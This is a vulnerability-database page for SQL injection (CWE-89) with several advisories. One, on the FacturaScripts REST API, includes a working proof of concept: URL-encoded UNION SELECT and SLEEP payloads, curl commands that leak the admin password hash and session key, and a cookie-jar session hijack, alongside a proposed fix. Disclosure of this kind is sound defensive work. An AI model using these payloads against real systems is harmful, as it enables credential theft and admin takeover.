Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27704 vulnerabilities reference this CWE, most recent first.

GHSA-5QM9-82HF-78RM

Vulnerability from github – Published: 2026-01-27 18:32 – Updated: 2026-02-10 21:31
VLAI
Details

An out-of-band SQL injection vulnerability (OOB SQLi) has been detected in the Performance Evaluation (EDD) application developed by Gabinete Técnico de Programación. Exploiting this vulnerability in the parameter 'Id_usuario' and 'Id_evaluacion’ in ‘/evaluacion_competencias_evalua_old.aspx’, could allow an attacker to extract sensitive information from the database through external channels, without the affected application returning the data directly, compromising the confidentiality of the stored information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-27T17:16:11Z",
    "severity": "CRITICAL"
  },
  "details": "An out-of-band SQL injection vulnerability (OOB SQLi) has been detected in the Performance Evaluation (EDD) application developed by Gabinete T\u00e9cnico de Programaci\u00f3n. Exploiting this vulnerability in the parameter \u0027Id_usuario\u0027 and \u0027Id_evaluacion\u2019 in \u2018/evaluacion_competencias_evalua_old.aspx\u2019, could allow an attacker to extract sensitive information from the database through external channels, without the affected application returning the data directly, compromising the confidentiality of the stored information.",
  "id": "GHSA-5qm9-82hf-78rm",
  "modified": "2026-02-10T21:31:27Z",
  "published": "2026-01-27T18:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1477"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/out-band-sql-injection-quatuor-performance-evaluation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5QMH-6P7Q-JW57

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

SQL injection vulnerability vulnerability in the EyesOfNetwork web interface (aka eonweb) 5.1-0 allows remote authenticated administrators to execute arbitrary SQL commands via the host parameter to module/capacity_per_device/index.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-15933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-27T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability vulnerability in the EyesOfNetwork web interface (aka eonweb) 5.1-0 allows remote authenticated administrators to execute arbitrary SQL commands via the host parameter to module/capacity_per_device/index.php.",
  "id": "GHSA-5qmh-6p7q-jw57",
  "modified": "2022-05-13T01:11:42Z",
  "published": "2022-05-13T01:11:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15933"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsj730sos/cve/blob/master/Eonweb_module_capacity_per_device_index.php-SQL%20injection%20vulnerability"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QMH-X653-G8QJ

Vulnerability from github – Published: 2026-07-14 17:11 – Updated: 2026-07-14 17:11
VLAI
Summary
FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`
Details

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

Details

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

    // obtenemos los registros
    $data = [];
    $hidden = $this->model->getApiFieldsToHide();
    $where = $this->getWhereValues($filter, $operation);
    foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
        $data[] = $this->filterHidden($item->toArray(true), $hidden);
    }
    ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

        switch (substr($key, -3)) {                       // suffix routing only
            case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
            case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
            case '_lt': $field = substr($key, 0, -3); $operator = '<'; break;
        }
        ...
        if (!isset($operation[$key])) {
            $operation[$key] = $defaultOperation;
        }

        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)
    }

    return $where;
}

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/<resource> route and the dedicated /api/3/attachedfiles route.

DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy

Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:

if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}

Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.

Where::sqlColumn returns parenthesised inputs untouched

Core/Where.php:407-425:

private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

    // si empieza por integer, hacemos el cast
    if (substr($field, 0, 8) === 'integer:') {
        return self::db()->castInteger(substr($field, 8));
    }

    // si empieza por lower, hacemos el lower
    if (substr($field, 0, 6) === 'lower:') {
        return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
    }

    return self::db()->escapeColumn($field);
}

The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).

what an attacker submits

Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=

URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=

The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '<value>' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).

why the getApiFieldsToHide() defence does not apply

Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:

public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}

This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.

why the sort (ORDER BY) hardening does not apply either

Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctly walls off SQL injection in the sort parameter. It does not touch Where::sqlColumn, which retains the original string-presence exemption.

PoC

Setup (one-time, by admin):

# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
  VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
  SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL

Confirm the scope is enforced for normal endpoints:

$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}

Step 1 - leak the admin password hash via the SQL-injection on clientes:

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Step 2 - leak the admin's logkey (the value of the fsLogkey cookie that gates web sessions):

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",

Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:

$ cat > /tmp/fs-hijack <<EOF
# Netscape HTTP Cookie File
127.0.0.1   FALSE   /   FALSE   0   fsNick  admin
127.0.0.1   FALSE   /   FALSE   0   fsLogkey    HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1   FALSE   /   FALSE   0   fsLang  en_EN
EOF
$ curl -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>Plugins</title>

Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:

$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0

The attachedfiles route (Core/Controller/ApiAttachedFiles.php) is identically affected because it carries its own copy of getWhereValues:

$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "date": "01-01-1970",
        "filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Impact

  • Cross-resource confidentiality breach. A token granted GET on a single low-value resource (e.g. clientes for an integration that imports customers) reads any column from any table in the schema, including users.password, users.logkey, users.two_factor_secret_key, api_keys.apikey, emails_sent.body, customer financial data, etc. getApiFieldsToHide() only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.
  • Full admin takeover. The leaked logkey is the value of the fsLogkey cookie that Core/Base/Controller::privateCore accepts as the session token (User::verifyLogkey is a plain string equality, Core/Model/User.php:403-406). Setting fsNick=admin and fsLogkey=<leaked> on any HTTP client returns 200 on every admin endpoint, including /AdminPlugins (install arbitrary plugin code), /EditUser?code=admin (rotate the admin password), /EditEmpresa (data-plane writes), /Cron (server-side code execution via cron job extension).
  • Stealthy. Successful UNION queries do not produce Tools::log()->error entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. The api_keys row is touched by the normal updateActivity() write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.
  • Reachable from internet. API access is on by default once the operator either sets FS_API_KEY or flips Default -> Enable API in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.
  • The same primitive lets an attacker rewrite data. Because ( ) exemption is in Where::sqlColumn itself, write paths that build WHERE clauses from caller-controlled identifiers are equally exposed; the attacker can instead use UPDATE ... WHERE style payloads via stacked queries on engines that allow them, or use SELECT ... INTO OUTFILE on MySQL installations with FILE privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact H for these reasons.

AV:N (network), AC:L (one HTTP GET, no oracle, no specific timing), PR:L (any non-fullaccess ApiKey with one allowed resource), UI:N, S:C (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), C:H I:H A:H. Score 9.9. The S:C (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on /users. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).

Recommended Fix

The bug is squarely in Core/Where.php::sqlColumn. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in Core/Lib/ExtendedController/BaseController::autocompleteAction (commit b8aa78b).

  1. Replace the parenthesis presence test with a structural parser. Where::sqlColumn should refuse anything that is not one of: a bare identifier (matching ^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$), LOWER(<ident>), UPPER(<ident>), CAST(<ident> AS <type>), or COALESCE(<ident>, <literal>). The grammar already exists in DbQuery::orderBy (lines 289-307) and just needs to be reused. Anything else is escaped through db()->escapeColumn() (which already handles dotted identifiers correctly):

```php private static function sqlColumn(string $field): string { $field = trim($field);

   // bare identifier or table.column
   if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
       return self::db()->escapeColumn($field);
   }

   // limited expression whitelist (mirrors DbQuery::orderBy)
   if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) {
       return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')';
   }

   if (preg_match('/^CAST\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\)$/i', $field, $m)) {
       return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')';
   }

   // legacy prefixes
   if (str_starts_with($field, 'integer:')) {
       return self::db()->castInteger(substr($field, 8));
   }
   if (str_starts_with($field, 'lower:')) {
       return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
   }
   if (str_starts_with($field, 'upper:')) {
       return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
   }

   // refuse anything else
   throw new Exception('Invalid column expression: ' . $field);

} ```

The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for '(...)' style identifiers across the codebase shows zero hits in Core/.

  1. Validate filter keys at the API ingress. Even after (1), the API getWhereValues should refuse identifiers that are not bare columns, mirroring BaseController::autocompleteAction:258-261:

```php foreach ($filter as $key => $value) { $field = $key; // strip operator suffixes (existing code) ...

   if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
       Tools::log('api')->warning('api: invalid filter field name: ' . $field);
       continue;                                            // skip the bad filter
   }

   // ... remaining code

} ```

Apply the same patch to ApiAttachedFiles::getWhereValues:172-239. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit b8aa78b.

  1. Rotate session tokens on detected SQL injection attempts. Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call Cron::log to throttle the originating IP and queue a rotation of User::logkey for any user whose password or logkey columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.

A regression test should issue GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that Tools::log('api')->read() contains the new "invalid filter field name" warning.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:11:06Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n\u003e **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A scoped `ApiKey` with `fullaccess=0` and an `ApiAccess` row granting `allowget=1` on the `clientes` resource only (no other rights, no UI session, no admin) issued one `GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=` request and the response body contained the raw bcrypt hash of the admin user\u0027s password (`$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO`) and the admin\u0027s `logkey` cookie value. The leaked `logkey` was injected into a fresh cookie jar and `GET /AdminPlugins` returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.\n\n`Core/Where.php::sqlColumn()` exempts any field name that contains both `(` and `)` from identifier escaping. The two API filter builders (`APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`) feed the raw request key (`$_GET[\u0027filter\u0027][$key]`) straight into `new DataBaseWhere($key, $value, \u0027=\u0027, ...)`. When the model\u0027s `all()` reaches `Where::multiSqlLegacy` -\u003e `Where::sql()` -\u003e `Where::sqlColumn($key)`, the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into `WHERE \u003cattacker\u003e = \u0027\u003cvalue\u003e\u0027`, which an attacker can pivot to `WHERE (0)UNION SELECT ... FROM users WHERE(nick=\u0027admin\u0027)-- = \u0027value\u0027`, leaking arbitrary columns from any table.\n\n## Details\n\n### the API filter pipeline never validates filter keys\n\n`Core/Lib/API/APIModel.php:300-322` (`listAll`):\n\n```php\nprotected function listAll(): bool\n{\n    $filter = $this-\u003erequest-\u003equery-\u003egetArray(\u0027filter\u0027);\n    $limit = $this-\u003erequest-\u003equery-\u003egetInt(\u0027limit\u0027, 50);\n    $offset = $this-\u003erequest-\u003equery-\u003egetInt(\u0027offset\u0027, 0);\n    $operation = $this-\u003erequest-\u003equery-\u003egetArray(\u0027operation\u0027);\n    $order = $this-\u003erequest-\u003equery-\u003egetArray(\u0027sort\u0027);\n\n    // obtenemos los registros\n    $data = [];\n    $hidden = $this-\u003emodel-\u003egetApiFieldsToHide();\n    $where = $this-\u003egetWhereValues($filter, $operation);\n    foreach ($this-\u003emodel-\u003eall($where, $order, $offset, $limit) as $item) {\n        $data[] = $this-\u003efilterHidden($item-\u003etoArray(true), $hidden);\n    }\n    ...\n```\n\n`Core/Lib/API/APIModel.php:231-298` (`getWhereValues`):\n\n```php\nprivate function getWhereValues($filter, $operation, $defaultOperation = \u0027AND\u0027): array\n{\n    $where = [];\n    foreach ($filter as $key =\u003e $value) {\n        $field = $key;                                    // (1) raw request key\n        $operator = \u0027=\u0027;\n\n        switch (substr($key, -3)) {                       // suffix routing only\n            case \u0027_gt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003e\u0027; break;\n            case \u0027_is\u0027: $field = substr($key, 0, -3); $operator = \u0027IS\u0027; break;\n            case \u0027_lt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003c\u0027; break;\n        }\n        ...\n        if (!isset($operation[$key])) {\n            $operation[$key] = $defaultOperation;\n        }\n\n        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)\n    }\n\n    return $where;\n}\n```\n\nThe function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to `DataBaseWhere`. There is no allow-list of legal column names, no `preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027)` like the autocomplete hardening in `BaseController::autocompleteAction` (commit `b8aa78b`), and no plug-in hook through which the operator could intervene.\n\nThe exact same code (line-for-line, plus a `files` parameter) lives in `Core/Controller/ApiAttachedFiles.php::getWhereValues` (lines 172-239), so the bug is present on both the generic `/api/3/\u003cresource\u003e` route and the dedicated `/api/3/attachedfiles` route.\n\n### `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy`\n\n`Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`:\n\n```php\nif ($item instanceof DataBaseWhere) {\n    $dbWhere = new self($item-\u003efields, $item-\u003evalue, $item-\u003eoperator, $item-\u003eoperation, $item-\u003euseField ?? false);\n    ...\n    $sql .= $dbWhere-\u003esql();\n    ...\n}\n```\n\n`Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches.\n\n### `Where::sqlColumn` returns parenthesised inputs untouched\n\n`Core/Where.php:407-425`:\n\n```php\nprivate static function sqlColumn(string $field): string\n{\n    // si lleva par\u00e9ntesis, no escapamos\n    if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n        return $field;                                   // (3) raw concatenation\n    }\n\n    // si empieza por integer, hacemos el cast\n    if (substr($field, 0, 8) === \u0027integer:\u0027) {\n        return self::db()-\u003ecastInteger(substr($field, 8));\n    }\n\n    // si empieza por lower, hacemos el lower\n    if (substr($field, 0, 6) === \u0027lower:\u0027) {\n        return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n    }\n\n    return self::db()-\u003eescapeColumn($field);\n}\n```\n\nThe intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing **both** `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`).\n\n### what an attacker submits\n\nReaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes:\n\n```\nfilter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick=\u0027admin\u0027)-- ]=\n```\n\nURL encoded for HTTP transport:\n\n```\nfilter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\n```\n\nThe `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework\u0027s appended SQL (`= \u0027\u003cvalue\u003e\u0027 LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin\u0027s password hash, returned in the JSON body\u0027s `cifnif` key (the first column in the original query\u0027s `SELECT *`).\n\n### why the `getApiFieldsToHide()` defence does not apply\n\nCommit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser:\n\n```php\npublic function getApiFieldsToHide(): array\n{\n    return [\u0027password\u0027, \u0027logkey\u0027, \u0027two_factor_secret_key\u0027];\n}\n```\n\nThis works for `GET /api/3/users` requests by a fullaccess token: the model loads, then `filterHidden()` removes the columns. The protection is bound to the **model class** that is being serialised. The SQL-injection path returns rows in the **`clientes`** model serialiser, so the leaked column lands in `cifnif` (or any other column the attacker chooses for the first UNION position) and is never put through `Cliente::getApiFieldsToHide()` (which does not include `password`/`logkey` because the `clientes` table has no such columns). The deny-list is irrelevant.\n\n### why the `sort` (ORDER BY) hardening does not apply either\n\nCommit `1b6cdfa` added strict regex validation to `DbQuery::orderBy` (`Core/DbQuery.php:289-307`), constraining parenthesised input to `RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal)`. That fix correctly walls off SQL injection in the `sort` parameter. It does not touch `Where::sqlColumn`, which retains the original string-presence exemption.\n\n## PoC\n\nSetup (one-time, by admin):\n\n```bash\n# Issue an ApiKey scoped to clientes GET only.\nmysql -u fs -pfs facturascripts \u003c\u003c\u0027SQL\u0027\nINSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)\n  VALUES (\u0027low-scoped-token-clientes-only\u0027, NOW(), \u0027scoped low-priv\u0027, 1, 0, \u0027lowpriv\u0027);\nINSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)\n  SELECT id, \u0027clientes\u0027, 1, 0, 0, 0 FROM api_keys WHERE apikey=\u0027low-scoped-token-clientes-only\u0027;\nSQL\n```\n\nConfirm the scope is enforced for normal endpoints:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/users\" -H \"Token: low-scoped-token-clientes-only\"\n{\"status\":\"error\",\"message\":\"forbidden\"}\n```\n\nStep 1 - leak the admin password hash via the SQL-injection on `clientes`:\n\n```\n$ 